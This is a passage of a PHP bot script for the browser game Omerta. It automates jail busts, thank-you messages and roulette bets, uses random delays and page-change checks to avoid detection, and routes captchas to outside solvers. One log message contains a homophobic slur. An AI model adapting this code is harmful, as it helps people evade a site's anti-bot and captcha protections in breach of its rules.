  2956. function replybo($ress, $ID, $lastlink)
  2957. {
  2958.  
  2959.     global $omerta, $vers;
  2960.     // if the reply action did not change
  2961.     if ((substr_count($ress, 'msg.php?replyid=' . $ID) == 1) && (substr_count($ress,
  2962.         'alt="' . $vers['text']['Delete'] .
  2963.         '"></a>&nbsp;|&nbsp;<a href="msg.php?replyid=') == 1)) {
  2964.         sleep(rand(2, 5));
  2965.         $readbomsg = get($GLOBALS['vers']['omertaURL_NS'] . "/msg.php?replyid=" . $ID, $lastlink);
  2966.  
  2967.         stillLoggedIn($readbomsg);
  2968.         verifyreply($readbomsg);
  2969.         // get the person to send the reply to
  2970.         $sendnick = findinside('name=nick size=55 value=', '></td></tr>', $readbomsg);
  2971.         // get the right subject for the reply msg
  2972.         if (substr_count($readbomsg, 'value="Re: ' . $vers['text']['Bustout'] . '"') ==
  2973.             1) {
  2974.             $subject = 'Re: Bustout!';
  2975.         }
  2976.         if (substr_count($readbomsg, 'value="Re: ' . $vers['text']['Bailed'] . '"') == 1) {
  2977.             $subject = 'Re: Bailed!';
  2978.         }
  2979.  
  2980.         // check to see if subject is good
  2981.         if (($subject == false) or (is_numeric($subject))) {
  2982.             output("The subject is not good $subject", "Send Reply");
  2983.             write2file('sendmsg.html', $readbomsg);
  2984.             sleep(10);
  2985.             die();
  2986.         }
  2987.         // check to see if the person that gets the msg is good
  2988.         if ($sendnick[0] == false) {
  2989.             output("The sendnick is not good $sendnick[0]", "Send Reply");
  2990.             write2file('sendmsg.html', $readbomsg);
  2991.             sleep(10);
  2992.             die();
  2993.         }
  2994.         // getting the ty msg from jail.txt
  2995.         $messages = array();
  2996.         if (is_readable("jail.txt")) {
  2997.             $fp = fopen("jail.txt", 'r'); //open jail.txt for reading
  2998.             while ($line = fgets($fp))
  2999.                 $messages[] = trim($line); //if there is a line read it to array
  3000.             fclose($fp); //close fiel handle
  3001.         } //is_readable
  3002.         $msg = @$messages[array_rand($messages)];
  3003.         // if there is no msg due to empty line get a random one yourself
  3004.         if (trim($msg) == '') {
  3005.             //     output("No msg was found in the jail.txt file (empty line? using default msg", "Sending msg");
  3006.             $messages = array('thank you', 'thnx', 'thanks', 'ty');
  3007.             $msg = @$messages[array_rand($messages)];
  3008.         }
  3009.  
  3010.  
  3011.         // get the msg to reply on
  3012.         $readbomsgg = str_replace(".", "~", $readbomsg);
  3013.         $test = findinside('[B]', '[HR]', $readbomsgg);
  3014.         $test[0] = str_replace("~", ".", $test[0]);
  3015.         $test[0] = '[B]' . $test[0] . '[HR]';
  3016.         $test[0] = "$test[0] $msg";
  3017.  
  3018.         // encoding url to send
  3019.         $test[0] = urlencode($test[0]);
  3020.         $subject = urlencode($subject);
  3021.         $post = "send=yes&nick=$sendnick[0]&subject=$subject&msg=$test[0]";
  3022.         sleep(rand(4, 11));
  3023.         $sendtymsg = post($GLOBALS['vers']['omertaURL_NS'] . "/msg.php", $GLOBALS['vers']['omertaURL_NS'] .
  3024.             "/msg.php?replyid=" . $ID, $post);
  3025.         stillLoggedIn($sendtymsg);
  3026.  
  3027.         $msgsend = findinside($vers['text']['Message'] . ' ', '<br /><meta http', $sendtymsg);
  3028.         if ($msgsend == false) {
  3029.             output("Messsage did not got sent?", "Thank bust/bail");
  3030.             write2file('sendmsg.html', $sendtymsg);
  3031.             sleep(rand(1, 2));
  3032.         }
  3033.         if ($msgsend[0] != false) {
  3034.             output("$msgsend[0]", "Thank bust/bail");
  3035.             sleep(rand(1, 2));
  3036.         }
  3037.     } // end from if the reply link did not got changed
  3038.     // the reply link got changed msg.php
  3039.     else {
  3040.         output("Reply link got changed not gonna send a reply", "Reading msg");
  3041.         write2file('messages.html', $ress);
  3042.         sleep(rand(1, 2));
  3043.         return;
  3044.  
  3045.     }
  3046. } // end replybo
  3047.  
  3048. function doBust()
  3049. {
  3050.     global $omerta, $settings, $scriptSite, $vers;
  3051.     $res = get($omerta['jail'], $omerta['menu']);
  3052.     stillLoggedIn($res);
  3053.     if (!inStr($vers['text']["You are not"], $res)) {
  3054.         $res = get($omerta['jail'], $omerta['menu']);
  3055.     }
  3056.  
  3057.     $res = removeBetween('<--', '-->', $res);
  3058.     $res = removeBetween('<!--', '-->', $res);
  3059.     if (!inStr($vers['text']['You are in jail for the next'], $res)) {
  3060.  
  3061.         //Friends jailers
  3062.         $famjailers = substr_count($res, "<tr bgcolor=\"yellow\">");
  3063.         $jailers = substr_count($res, "type=\"radio\"");
  3064.         $friendjailers = substr_count($res, "<tr bgcolor=\"#DBDBDB\">");
  3065.  
  3066.  
  3067.         if (!(inStr("<form name=\"jail\" action=\"jail.php\" method=\"post\">", $res))) {
  3068.             output("Formula changed", "Bust");
  3069.             write2file("jailChange.html", $res);
  3070.             sleep(5);
  3071.  
  3072.             die();
  3073.         } //end if
  3074.  
  3075.         if (!substr_count($res, "type=\"radio\"") == $jailers) {
  3076.             output("Too many radio bottoms", "Bust");
  3077.             write2file("jailChange.html", $res);
  3078.             sleep(5);
  3079.             die();
  3080.         } //end if
  3081.  
  3082.         if (!(inStr("<input name=\"ver\" size=\"3\" type=\"text\">", $res))) {
  3083.             output("Hidden value changed", "Bust");
  3084.             write2file("jailChange.html", $res);
  3085.             sleep(5);
  3086.             die();
  3087.         } //end if
  3088.  
  3089.  
  3090.         if ($jailers > 1) {
  3091.  
  3092.             if ($famjailers >= 1) {
  3093.                 $type = "Friend";
  3094.                 $rdm = rand(1, $famjailers);
  3095.  
  3096.                 for ($i = 1; $famjailers >= $i; $i++) {
  3097.                     if ($i == $rdm) {
  3098.  
  3099.                         $name = explode("<tr bgcolor=\"yellow\">", $res);
  3100.                         $posstart = strpos($name[$i], "<td>");
  3101.                         $posend = strpos($name[$i], "</td>");
  3102.                         $name = substr($name[$i], $posstart, $posend - $posstart);
  3103.                         $name = preg_replace("#<a(.*?)>#im", "", $name);
  3104.                         $name = str_replace("<td>", "", $name);
  3105.                         $name = str_replace("</a>", "", $name);
  3106.                         #Doing an attempt
  3107.                        $str = explode("<tr bgcolor=\"yellow\">", $res);
  3108.                         $str = explode("<input name=\"bust\" value=", $str[$i]);
  3109.                         $check = strpos(substr($str[1], 0, 40), "type=\"radio\"");
  3110.                         if ($check > 0) {
  3111.                             $str = substr($str[1], 0, 20);
  3112.                             $str = explode("\"", $str);
  3113.                             $jid = $str[1];
  3114.                         }
  3115.                     }
  3116.                 }
  3117.             } elseif ($friendjailers >= 1) {
  3118.                 $type = "Family member";
  3119.                 $rdm = rand(1, $friendjailers);
  3120.  
  3121.                 for ($i = 1; $friendjailers >= $i; $i++) {
  3122.                     if ($i == $rdm) {
  3123.                         $name = explode("<tr bgcolor=\"#DBDBDB\">", $res);
  3124.                         $posstart = strpos($name[$i], "<td>");
  3125.                         $posend = strpos($name[$i], "</td>");
  3126.                         $name = substr($name[$i], $posstart, $posend - $posstart);
  3127.                         $name = preg_replace("#<a(.*?)>#im", "", $name);
  3128.                         $name = str_replace("<td>", "", $name);
  3129.                         $name = str_replace("</a>", "", $name);
  3130.                         #Doing an attempt
  3131.                        $str = explode("<tr bgcolor=\"#DBDBDB\">", $res);
  3132.                         $str = explode("<input name=\"bust\" value=", $str[$i]);
  3133.                         $check = strpos(substr($str[1], 0, 40), "type=\"radio\"");
  3134.                         if ($check > 0) {
  3135.                             $str = substr($str[1], 0, 20);
  3136.                             $str = explode("\"", $str);
  3137.                             $jid = $str[1];
  3138.                         }
  3139.                     }
  3140.                 }
  3141.             } else {
  3142.                 $type = "Random";
  3143.                 $rdm = rand(2, $jailers);
  3144.                 for ($i = 2; $jailers >= $i; $i++) {
  3145.                     if ($i == $rdm) {
  3146.                         $name = explode("<tr bgcolor=", $res);
  3147.                         $name[$i - 1];
  3148.                         $posstart = strpos($name[$i - 1], "<td>");
  3149.                         $posend = strpos($name[$i - 1], "</td>");
  3150.                         $name = substr($name[$i - 1], $posstart, $posend - $posstart);
  3151.                         $name = preg_replace("#<a(.*?)>#im", "", $name);
  3152.                         $name = str_replace("<td>", "", $name);
  3153.                         $name = str_replace("</a>", "", $name);
  3154.  
  3155.                         #Doing an attempt
  3156.                        $str = explode("<input name=\"bust\" value=", $res);
  3157.                         $check = strpos(substr($str[$i], 0, 40), "type=\"radio\"");
  3158.                         if ($check > 0) {
  3159.                             $str = substr($str[$i], 0, 20);
  3160.                             $str = explode("\"", $str);
  3161.                             $jid = $str[1];
  3162.                         }
  3163.                     }
  3164.                 }
  3165.             }
  3166.  
  3167.  
  3168.             if (!(inStr("<input name=\"bust\" value=", $res))) {
  3169.                 output("Name value changed", "Bust");
  3170.                 write2file("jailChange.html", $res);
  3171.                 sleep(5);
  3172.                 die();
  3173.             } //end if
  3174.  
  3175.             #SAVE CAPTCHA
  3176.            saveCaptcha($res, $omerta['jail']);
  3177.  
  3178.  
  3179.             $code = readCode();
  3180.             if ($code == "~bc") {
  3181.                 output("Unviewable captha, reloading site", "Code");
  3182.                 doBust();
  3183.             }
  3184.             $code = str_replace('-', '', $code);
  3185.             $post = "ver=" . $code . "&bust=" . $jid;
  3186.             if (strlen($code) != 3) {
  3187.                 return $code;
  3188.             }
  3189.             if (strlen($post) <= 5) {
  3190.                 output('No Typers. . .', 'Bust');
  3191.                 return false;
  3192.             }
  3193.  
  3194.             $action = $GLOBALS['vers']['omertaURL_NS'] . "/jail.php";
  3195.             $res = post($action, $omerta['jail'], "$post"); #$omerta['jail'] is that set ?
  3196.            #ID of jailer for the post is $jid
  3197.            $location = stripos($res, $vers['text']['You are in jail for the next']);
  3198.             if ($location > 1) {
  3199.                 output("Failed busting $name - ($type)", "Bust");
  3200.                 doSelfBust($res);
  3201.             }
  3202.  
  3203.             $location1 = substr_count($res, $vers['text']["freed"]);
  3204.             if ($location1 >= 1) {
  3205.                 output("The person was already freed, $name ($type)", "Bust");
  3206.                 return 0;
  3207.             }
  3208.  
  3209.  
  3210.             $location2 = substr_count($res, $vers['text']['The code you']);
  3211.             if ($location2 >= 1) {
  3212.                 wrongCode();
  3213.                 return false;
  3214.             }
  3215.             $location3 = substr_count($res, $vers['text']["You busted"]);
  3216.  
  3217.             if ($location3 >= 1) {
  3218.                 output("Succeeded, you busted $name - ($type)", "Bust");
  3219.                 return 1;
  3220.             }
  3221.  
  3222.  
  3223.         }
  3224.     } else {
  3225.         iaminjail();
  3226.         output("Jail..", "Bust");
  3227.         doSelfBust($res);
  3228.         sleep(10);
  3229.         return true;
  3230.     }
  3231. }
  3232.  
  3233.  
  3234. function checkEnglish($res)
  3235. {
  3236.    global $vers;
  3237.    if($vers['version']!='com'&&$vers['version']!='dm') {
  3238.         return;
  3239.     }
  3240.     // Check to see if status page is in english put the words you want to check in the array under here then script checks if they are in $res if it doesn't script will stop
  3241.     $checkenglish = array('Bullets', 'Cash', 'Rank', 'Kills', 'Killing',
  3242.         'experience');
  3243.     $resultenglish = count($checkenglish);
  3244.     $englishcount = 0;
  3245.  
  3246.     foreach ($checkenglish as $woord) {
  3247.         if (strpos($res, $woord)) {
  3248.             // found the word in the array giving englishcount +1
  3249.             $englishcount = $englishcount + 1;
  3250.         }
  3251.     }
  3252.     // if they don't match then scripts will stop
  3253.     if ($englishcount != $resultenglish) {
  3254.         output('Only run this script in ENGLISH on this version');
  3255.         output('Now changing your language :). . .');
  3256.         global $omerta;
  3257.         get($GLOBALS['vers']['omertaURL_NS'] . '/profile.php', $omerta['menu']);
  3258.         post($GLOBALS['vers']['omertaURL_NS'] . '/profile.php', $GLOBALS['vers']['omertaURL_NS'] .
  3259.             '/profile.php', 'type=language&language=en');
  3260.         output('Language changed to English');
  3261.         die();
  3262.     }
  3263.     // else the script can continue to run
  3264. } // checkEnglish end
  3265.  
  3266. function getTimeFrom()
  3267. {
  3268.     $year = date("Y", time());
  3269.     $day = date("j", time());
  3270.     $month = date("m", time());
  3271.     $second = date("s", time());
  3272.     if ($second > 38) {
  3273.         $minute = date("i", time()) + 1;
  3274.     } else {
  3275.         $minute = date("i", time());
  3276.     }
  3277.     $hour = date("G", time());
  3278.     $buyTime = mktime($hour, $minute, 40, $month, $day, $year);
  3279.     return $buyTime;
  3280. }
  3281. function getTimeTo()
  3282. {
  3283.     $year = date("Y", time());
  3284.     $day = date("j", time());
  3285.     $month = date("m", time());
  3286.     $second = date("s", time());
  3287.     if ($second > 38) {
  3288.         $minute = date("i", time()) + 2;
  3289.     } else {
  3290.         $minute = date("i", time()) + 1;
  3291.     }
  3292.     $hour = date("G", time());
  3293.     $buyTime = mktime($hour, $minute, 20, $month, $day, $year);
  3294.     return $buyTime;
  3295. }
  3296.  
  3297. function checkGambling($res)
  3298. {
  3299.     if (substr_count($res, '<a href=roulette.php?casino=') == 0) {
  3300.         output("Page got changed (or bad load)", "Gambling");
  3301.         write2file('gambling.html', $res);
  3302.         sleep(12);
  3303.         die();
  3304.     }
  3305.     if (substr_count($res, $vers['text']['Gambling District'] . '</b>') != 1) {
  3306.         output("Page got changed (or bad load)", "Gambling");
  3307.         write2file('gambling.html', $res);
  3308.         sleep(12);
  3309.         die();
  3310.     }
  3311.     if (substr_count($res, '<form') != 0) {
  3312.         output("Page got changed (or bad load)", "Gambling");
  3313.         write2file('gambling.html', $res);
  3314.         sleep(12);
  3315.         die();
  3316.     }
  3317.     if (substr_count($res, '<input') != 0) {
  3318.         output("Page got changed (or bad load)", "Gambling");
  3319.         write2file('gambling.html', $res);
  3320.         sleep(12);
  3321.         die();
  3322.     }
  3323. } // checkGambling($res)
  3324.  
  3325. function openGamble()
  3326. {
  3327.     global $omerta, $settings, $scriptSite;
  3328.     output("Pray for me to win you some extra cash", "Gamble");
  3329.     $res = get($omerta['gamble'], $omerta['menu']);
  3330.     stillLoggedIn($res);
  3331.  
  3332.     $res = removeBetween('<--', '-->', $res);
  3333.     $res = removeBetween('<!--', '-->', $res);
  3334.  
  3335.     // if you are in jail
  3336.     if (substr_count($res, $vers['text']['You are in jail for the next']) == 1) {
  3337.         output("Jailed. . .", "Gamble");
  3338.         doSelfBust($res);
  3339.         return;
  3340.     }
  3341.     checkGambling($res);
  3342.     // get the id from the casino's
  3343.     $casinoID = findinside('<a href=roulette.php?casino=', '>', $res);
  3344.     // get a random casino id from array in case script is in vegas
  3345.     $casinoID = @$casinoID[array_rand($casinoID)];
  3346.     if (!(is_numeric($casinoID))) {
  3347.         output("Wrong casino id :S $casinoID", "Gambling");
  3348.         write2file('gambling.html', $res);
  3349.         sleep(16);
  3350.         die();
  3351.     }
  3352.  
  3353.     $casinoLink = $GLOBALS['vers']['omertaURL_NS'] .
  3354.         '/gambling/roulette.php?casino=' . $casinoID;
  3355.     $res = get($casinoLink, $omerta['gamble']);
  3356.     stillLoggedIn($res);
  3357.     $res = removeBetween('<--', '-->', $res);
  3358.     $res = removeBetween('<!--', '-->', $res);
  3359.     checkRoul($res);
  3360.     gambleRoul($res, $casinoLink);
  3361. } // end openGamble()
  3362.  
  3363. function checkRoul($res)
  3364. {
  3365.     if (substr_count($res, '<input') != 53) {
  3366.         output("Page got changed (or bad load)", "Roulette");
  3367.         write2file('roul.html', $res);
  3368.         sleep(12);
  3369.         die();
  3370.     }
  3371.     if (substr_count($res, '<form method="post" action="roulette.php">') != 1) {
  3372.         output("Method or action got changed", "Roulette");
  3373.         write2file('roul.html', $res);
  3374.         sleep(12);
  3375.         die();
  3376.     }
  3377.     if (substr_count($res, '<input type=hidden name=casino value=') != 1) {
  3378.         output("Casino value input changed)", "Roulette");
  3379.         write2file('roul.html', $res);
  3380.         sleep(12);
  3381.         die();
  3382.     }
  3383.     if (substr_count($res, '<input type="Hidden" size=2 name=x value=1>') != 1) {
  3384.         output("Hidden value changed", "Roulette");
  3385.         write2file('roul.html', $res);
  3386.         sleep(12);
  3387.         die();
  3388.     }
  3389.     if (substr_count($res, '</font>0:<input type=text size=5 name=z>') != 1) {
  3390.         output("Value 0 changed", "Roulette");
  3391.         write2file('roul.html', $res);
  3392.         sleep(12);
  3393.         die();
  3394.     }
  3395.     if (substr_count($res, '1-18:<br><input type=text size=5 name=eta>') != 1) {
  3396.         output("Value 1-18 changed", "Roulette");
  3397.         write2file('roul.html', $res);
  3398.         sleep(12);
  3399.         die();
  3400.     }
  3401.     if (substr_count($res, '1-12:<br><input type=text size=5 name=ett>') != 1) {
  3402.         output("Value 1-12 changed", "Roulette");
  3403.         write2file('roul.html', $res);
  3404.         sleep(12);
  3405.         die();
  3406.     }
  3407.     if (substr_count($res, '01:<input type=text size=5 name=1>') != 1) {
  3408.         output("Value 1 changed", "Roulette");
  3409.         write2file('roul.html', $res);
  3410.         sleep(12);
  3411.         die();
  3412.     }
  3413.     if (substr_count($res, '02:<input type=text size=5 name=2>') != 1) {
  3414.         output("Value 2 changed", "Roulette");
  3415.         write2file('roul.html', $res);
  3416.         sleep(12);
  3417.         die();
  3418.     }
  3419.     if (substr_count($res, '03:<input type=text size=5 name=3>') != 1) {
  3420.         output("Value 3 changed", "Roulette");
  3421.         write2file('roul.html', $res);
  3422.         sleep(12);
  3423.         die();
  3424.     }
  3425.     if (substr_count($res, '04:<input type=text size=5 name=4>') != 1) {
  3426.         output("Value 4 changed", "Roulette");
  3427.         write2file('roul.html', $res);
  3428.         sleep(12);
  3429.         die();
  3430.     }
  3431.     if (substr_count($res, '05:<input type=text size=5 name=5>') != 1) {
  3432.         output("Value 5 changed", "Roulette");
  3433.         write2file('roul.html', $res);
  3434.         sleep(12);
  3435.         die();
  3436.     }
  3437.     if (substr_count($res, '06:<input type=text size=5 name=6>') != 1) {
  3438.         output("Value 6 changed", "Roulette");
  3439.         write2file('roul.html', $res);
  3440.         sleep(12);
  3441.         die();
  3442.     }
  3443.     if (substr_count($res, '07:<input type=text size=5 name=7>') != 1) {
  3444.         output("Value 7 changed", "Roulette");
  3445.         write2file('roul.html', $res);
  3446.         sleep(12);
  3447.         die();
  3448.     }
  3449.     if (substr_count($res, '08:<input type=text size=5 name=8>') != 1) {
  3450.         output("Value 8 changed", "Roulette");
  3451.         write2file('roul.html', $res);
  3452.         sleep(12);
  3453.         die();
  3454.     }
  3455.     if (substr_count($res, '09:<input type=text size=5 name=9>') != 1) {
  3456.         output("Value 9 changed", "Roulette");
  3457.         write2file('roul.html', $res);
  3458.         sleep(12);
  3459.         die();
  3460.     }
  3461.     if (substr_count($res, '10:<input type=text size=5 name=10>') != 1) {
  3462.         output("Value 10 changed", "Roulette");
  3463.         write2file('roul.html', $res);
  3464.         sleep(12);
  3465.         die();
  3466.     }
  3467.     if (substr_count($res, '11:<input type=text size=5 name=11>') != 1) {
  3468.         output("Value 11 changed", "Roulette");
  3469.         write2file('roul.html', $res);
  3470.         sleep(12);
  3471.         die();
  3472.     }
  3473.     if (substr_count($res, '12:<input type=text size=5 name=12>') != 1) {
  3474.         output("Value 12 changed", "Roulette");
  3475.         write2file('roul.html', $res);
  3476.         sleep(12);
  3477.         die();
  3478.     }
  3479.     if (substr_count($res, '13:<input type=text size=5 name=13>') != 1) {
  3480.         output("Value 13 changed", "Roulette");
  3481.         write2file('roul.html', $res);
  3482.         sleep(12);
  3483.         die();
  3484.     }
  3485.     if (substr_count($res, '14:<input type=text size=5 name=14>') != 1) {
  3486.         output("Value 14 changed", "Roulette");
  3487.         write2file('roul.html', $res);
  3488.         sleep(12);
  3489.         die();
  3490.     }
  3491.     if (substr_count($res, '15:<input type=text size=5 name=15>') != 1) {
  3492.         output("Value 15 changed", "Roulette");
  3493.         write2file('roul.html', $res);
  3494.         sleep(12);
  3495.         die();
  3496.     }
  3497.     if (substr_count($res, '16:<input type=text size=5 name=16>') != 1) {
  3498.         output("Value 16 changed", "Roulette");
  3499.         write2file('roul.html', $res);
  3500.         sleep(12);
  3501.         die();
  3502.     }
  3503.     if (substr_count($res, '17:<input type=text size=5 name=17>') != 1) {
  3504.         output("Value 17 changed", "Roulette");
  3505.         write2file('roul.html', $res);
  3506.         sleep(12);
  3507.         die();
  3508.     }
  3509.     if (substr_count($res, '18:<input type=text size=5 name=18>') != 1) {
  3510.         output("Value 18 changed", "Roulette");
  3511.         write2file('roul.html', $res);
  3512.         sleep(12);
  3513.         die();
  3514.     }
  3515.     if (substr_count($res, '19:<input type=text size=5 name=19>') != 1) {
  3516.         output("Value 19 changed", "Roulette");
  3517.         write2file('roul.html', $res);
  3518.         sleep(12);
  3519.         die();
  3520.     }
  3521.     if (substr_count($res, '20:<input type=text size=5 name=20>') != 1) {
  3522.         output("Value 20 changed", "Roulette");
  3523.         write2file('roul.html', $res);
  3524.         sleep(12);
  3525.         die();
  3526.     }
  3527.     if (substr_count($res, '21:<input type=text size=5 name=21>') != 1) {
  3528.         output("Value 21 changed", "Roulette");
  3529.         write2file('roul.html', $res);
  3530.         sleep(12);
  3531.         die();
  3532.     }
  3533.     if (substr_count($res, '22:<input type=text size=5 name=22>') != 1) {
  3534.         output("Value 22 changed", "Roulette");
  3535.         write2file('roul.html', $res);
  3536.         sleep(12);
  3537.         die();
  3538.     }
  3539.     if (substr_count($res, '23:<input type=text size=5 name=23>') != 1) {
  3540.         output("Value 23 changed", "Roulette");
  3541.         write2file('roul.html', $res);
  3542.         sleep(12);
  3543.         die();
  3544.     }
  3545.     if (substr_count($res, '24:<input type=text size=5 name=24>') != 1) {
  3546.         output("Value 24 changed", "Roulette");
  3547.         write2file('roul.html', $res);
  3548.         sleep(12);
  3549.         die();
  3550.     }
  3551.     if (substr_count($res, '25:<input type=text size=5 name=25>') != 1) {
  3552.         output("Value 25 changed", "Roulette");
  3553.         write2file('roul.html', $res);
  3554.         sleep(12);
  3555.         die();
  3556.     }
  3557.     if (substr_count($res, '26:<input type=text size=5 name=26>') != 1) {
  3558.         output("Value 26 changed", "Roulette");
  3559.         write2file('roul.html', $res);
  3560.         sleep(12);
  3561.         die();
  3562.     }
  3563.     if (substr_count($res, '27:<input type=text size=5 name=27>') != 1) {
  3564.         output("Value 27 changed", "Roulette");
  3565.         write2file('roul.html', $res);
  3566.         sleep(12);
  3567.         die();
  3568.     }
  3569.     if (substr_count($res, '28:<input type=text size=5 name=28>') != 1) {
  3570.         output("Value 28 changed", "Roulette");
  3571.         write2file('roul.html', $res);
  3572.         sleep(12);
  3573.         die();
  3574.     }
  3575.     if (substr_count($res, '29:<input type=text size=5 name=29>') != 1) {
  3576.         output("Value 29 changed", "Roulette");
  3577.         write2file('roul.html', $res);
  3578.         sleep(12);
  3579.         die();
  3580.     }
  3581.     if (substr_count($res, '30:<input type=text size=5 name=30>') != 1) {
  3582.         output("Value 30 changed", "Roulette");
  3583.         write2file('roul.html', $res);
  3584.         sleep(12);
  3585.         die();
  3586.     }
  3587.     if (substr_count($res, '31:<input type=text size=5 name=31>') != 1) {
  3588.         output("Value 31 changed", "Roulette");
  3589.         write2file('roul.html', $res);
  3590.         sleep(12);
  3591.         die();
  3592.     }
  3593.     if (substr_count($res, '32:<input type=text size=5 name=32>') != 1) {
  3594.         output("Value 32 changed", "Roulette");
  3595.         write2file('roul.html', $res);
  3596.         sleep(12);
  3597.         die();
  3598.     }
  3599.     if (substr_count($res, '33:<input type=text size=5 name=33>') != 1) {
  3600.         output("Value 33 changed", "Roulette");
  3601.         write2file('roul.html', $res);
  3602.         sleep(12);
  3603.         die();
  3604.     }
  3605.     if (substr_count($res, '34:<input type=text size=5 name=34>') != 1) {
  3606.         output("Value 34 changed", "Roulette");
  3607.         write2file('roul.html', $res);
  3608.         sleep(12);
  3609.         die();
  3610.     }
  3611.     if (substr_count($res, '35:<input type=text size=5 name=35>') != 1) {
  3612.         output("Value 35 changed", "Roulette");
  3613.         write2file('roul.html', $res);
  3614.         sleep(12);
  3615.         die();
  3616.     }
  3617.     if (substr_count($res, '36:<input type=text size=5 name=36>') != 1) {
  3618.         output("Value 36 changed", "Roulette");
  3619.         write2file('roul.html', $res);
  3620.         sleep(12);
  3621.         die();
  3622.     }
  3623.     if (substr_count($res, $vers['text']['even'] .
  3624.         ':<br><input type=text size=5 name=e>') != 1) {
  3625.         output("Value even changed", "Roulette");
  3626.         write2file('roul.html', $res);
  3627.         sleep(12);
  3628.         die();
  3629.     }
  3630.     if (substr_count($res, $vers['text']['red'] .
  3631.         ':<br><input type=text size=5 name=r>') != 1) {
  3632.         output("Value red changed", "Roulette");
  3633.         write2file('roul.html', $res);
  3634.         sleep(12);
  3635.         die();
  3636.     }
  3637.     if (substr_count($res, '13-24:<br><input type=text size=5 name=dtv>') != 1) {
  3638.         output("Value 13-24 changed", "Roulette");
  3639.         write2file('roul.html', $res);
  3640.         sleep(12);
  3641.         die();
  3642.     }
  3643.     if (substr_count($res, $vers['text']['black'] .
  3644.         ':<br><input type=text size=5 name=b>') != 1) {
  3645.         output("Value black changed", "Roulette");
  3646.         write2file('roul.html', $res);
  3647.         sleep(12);
  3648.         die();
  3649.     }
  3650.     if (substr_count($res, $vers['text']['odd'] .
  3651.         ':<br><input type=text size=5 name=o>') != 1) {
  3652.         output("Value odd changed", "Roulette");
  3653.         write2file('roul.html', $res);
  3654.         sleep(12);
  3655.         die();
  3656.     }
  3657.     if (substr_count($res, '25-36:<br><input type=text size=5 name=vtz>') != 1) {
  3658.         output("Value 25-36 changed", "Roulette");
  3659.         write2file('roul.html', $res);
  3660.         sleep(12);
  3661.         die();
  3662.     }
  3663.     if (substr_count($res, '19-36:<br><input type=text size=5 name=ntz>') != 1) {
  3664.         output("Value 19-36 changed", "Roulette");
  3665.         write2file('roul.html', $res);
  3666.         sleep(12);
  3667.         die();
  3668.     }
  3669.     if (substr_count($res, '<input type=text size=5 name=ek>') != 1) {
  3670.         output("Value 1st changed", "Roulette");
  3671.         write2file('roul.html', $res);
  3672.         sleep(12);
  3673.         die();
  3674.     }
  3675.     if (substr_count($res, '<input type=text size=5 name=tk>') != 1) {
  3676.         output("Value 2nd changed", "Roulette");
  3677.         write2file('roul.html', $res);
  3678.         sleep(12);
  3679.         die();
  3680.     }
  3681.     if (substr_count($res, '<input type=text size=5 name=dk>') != 1) {
  3682.         output("Value 3rd changed", "Roulette");
  3683.         write2file('roul.html', $res);
  3684.         sleep(12);
  3685.         die();
  3686.     }
  3687.     if (substr_count($res, '<input type=submit value="' . $vers['text']['Gamble'] .
  3688.         '">') != 1) {
  3689.         output("Value submit=gamble changed", "Roulette");
  3690.         write2file('roul.html', $res);
  3691.         sleep(12);
  3692.         die();
  3693.     }
  3694.     if (substr_count($res, '<input type=reset value="">') != 1) {
  3695.         output("Value reset= changed", "Roulette");
  3696.         write2file('roul.html', $res);
  3697.         sleep(12);
  3698.         die();
  3699.     }
  3700.  
  3701. } // checkRoul($res)
  3702.  
  3703. function gambleRoul($res, $ref)
  3704. {
  3705.     global $omerta, $settings, $scriptSite, $vers;
  3706.  
  3707.     if ($settings['numberRoul'] == 0)
  3708.         $settings['numberRoul'] = 'z';
  3709.     $maxBetNumbers = findinside($vers['text']['Maximum Bet on numbers'] . ' <b>$',
  3710.         '</b>', $res);
  3711.     $maxBetNumbers = trim(str_replace(",", "", $maxBetNumbers[0]));
  3712.     $numberGamble = $settings['numberRoul'];
  3713.     if ($maxBetNumbers == 0) {
  3714.         output("Maxbet is set to 0 :(", "Roulette");
  3715.         return;
  3716.     }
  3717.     if ($maxBetNumbers > $settings['betRoul']) {
  3718.         $gambleamount = $settings['betRoul'];
  3719.         output("Gambling with $gambleamount on $numberGamble", "Roulette");
  3720.         $gambleamount = $settings['betRoul'];
  3721.     }
  3722.     if ($maxBetNumbers < $settings['betRoul']) {
  3723.         output("Gambling with $maxBetNumbers (maxbet is lower then your settings) on $numberGamble",
  3724.             "Roulette");
  3725.         $gambleamount = $maxBetNumbers;
  3726.     }
  3727.  
  3728.     $nr = 1;
  3729.     while ($nr <= 36) //gambling 36 times max
  3730.         {
  3731.         $maxBetNumbers = findinside('Maximum Bet on numbers: <b>$', '</b>', $res);
  3732.         $maxBetNumbers = trim(str_replace(",", "", $maxBetNumbers[0]));
  3733.         if ($maxBetNumbers < $gambleamount) {
  3734.             output("Gay owner lowered maxbet so need to stop gambling :(", "Roulette");
  3735.             return;
  3736.         }
  3737.  
  3738.  
  3739.         $casinoValue = findinside('<input type=hidden name=casino value=',
  3740.             '<input type="Hidden"', $res);
  3741.         $casValue = trim(str_replace(">", "", $casinoValue[0]));
  3742.  
  3743.         if (!(is_numeric($casValue))) {
  3744.             output("Wrong casinovalue :S $casValue so will not gamble", "Roulette");
  3745.             write2file('roul.html', $res);
  3746.             sleep(16);
  3747.             return;
  3748.         }
  3749.         // casino=7&x=1&z=&eta=&ett=&1=1&2=&3=&4=&5=&6=&e=&7=&8=&9=&10=&11=&12=&r=&dtv=&13=&14=&15=&16=&17=&18=&b=&19=&20=&21=&22=&23=&24=&o=&vtz=&25=&26=&27=&28=&29=&30=&ntz=&31=&32=&33=&34=&35=&36=&ek=&tk=&dk=
  3750.         $post = preg_replace('/' . '&' . $numberGamble . '=/', '&' . $numberGamble . '=' .
  3751.             $gambleamount, '&z=&eta=&ett=&1=&2=&3=&4=&5=&6=&e=&7=&8=&9=&10=&11=&12=&r=&dtv=&13=&14=&15=&16=&17=&18=&b=&19=&20=&21=&22=&23=&24=&o=&vtz=&25=&26=&27=&28=&29=&30=&ntz=&31=&32=&33=&34=&35=&36=&ek=&tk=&dk=');
  3752.         $post = 'casino=' . $casValue . '&x=1' . $post;
  3753.         // output("$post");
  3754.         output(" $gambleamount");
  3755.  
  3756.         if ($nr == 1) {
  3757.             $res = post($GLOBALS['vers']['omertaURL_NS'] . '/gambling/roulette.php', $ref, $post);
  3758.             $ref = $GLOBALS['vers']['omertaURL_NS'] . '/gambling/roulette.php';
  3759.             write2file('roul.html', $res);
  3760.         } elseif ($nr != 1) {
  3761.             $res = post($GLOBALS['vers']['omertaURL_NS'] . '/gambling/roulette.php', $ref, $post);
  3762.             write2file('roul.html', $res);
